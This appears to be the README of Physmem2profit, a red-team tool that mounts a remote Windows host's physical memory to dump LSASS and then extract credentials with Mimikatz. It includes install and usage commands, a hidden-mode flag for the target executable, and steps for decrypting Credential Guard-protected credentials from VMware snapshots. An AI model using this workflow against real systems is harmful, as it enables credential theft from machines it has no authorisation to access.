
Physmem2profit can be used to create a minidump of a target hosts' LSASS process by analysing physical memory remotely
Physmem2profit can be used to create a minidump of a target host's LSASS process by analysing physical memory remotely. The intention of this research is to propose an alternative approach to credential theft and create a modular framework that can be extended to support other drivers that can access physical memory. Physmem2profit generates a minidump (.dmp) of LSASS that can be further analyzed with Mimikatz. The tool does not require Cobalt Strike but should work fine over beacon with a SOCKS proxy.
The idea is illustrated below:

The tool has two components:
physmem2profit.exe, executed on the target host
physmem2profit Python module, executed on the attacking machine
--mode mount, connects to the target machine and mounts the physical RAM of the target as a raw file with the help of FUSE--mode dump, calls various Rekall plugins to analyze the memory image and to generate a minidump of the LSASS process.--mode all, performs both of the above actions. Connection with server will be closed when dump is complete.git clone --recurse-submodules https://github.com/FSecureLABS/physmem2profit.gitphysmem2profit/server/Physmem2profit.sln with Visual Studiobash physmem2profit/client/install.shphysmem2profit.exe [--ip IP] [-p PORT] [--hidden] [--verbose] on the target as admin.
source physmem2profit/client/.env/bin/activate on the attacking machine. This command will activate the virtualenv created by install.sh.cd physmem2profit/client and python3 physmem2profit --host HOST [--port PORT] [--mode MODE] [--driver DRIVER ] [--instal DRIVER_PATH_ON_TARGET] [--label LABEL_FOR_MEMORY_DUMP] on the attacking machine
physmem2profit.exe needs to be running on the target machine before you run this command.output/[label]-[date]-lsass.dmp on the attacking machine.mimikatz.exe "sekurlsa::minidump [label]-[date]-lsass.dmp" "sekurlsa::logonpasswords" "exit"Decrypting credentials protected by Credential Guard requires gaining access to the encryption key that is stored in the Secure World. For testing purposes, Physmem2profit supports retrieving data from the Secure World from VMware Fusion/Workstation snapshots (.vmem files). This allows credentials protected by Credential Guard to be decrypted with the help of Mimikatz.
msinfo32 to ensure Virtualization-based security Services Running says Credential Guardpython3 physmem2profit --mode dump --vmem /tmp/Win10-Snapshot1.vmem --label credential-guard-test
output/[label]-[date]-lsass.dmp. The minidump contains a special stream that holds the data from the Secure World, allowing Mimikatz to locate the encryption key.output/[label]-[date]-secure-world.raw.mimikatz.exe "sekurlsa::minidump [label]-[date]-lsass.dmp" "sekurlsa::logonpasswords" "exit"The support for bypassing Credential Guard by exploiting the S3 Resume firmware vulnerability, demonstated in our Disobey talk, is coming soon :).
Rethinking Credential Theft | a blog post explaining why this approach to credential theft was chosen.
Physmem2profit is developed by @b3arr0 and @TimoHirvonen.
Kudos for contributing: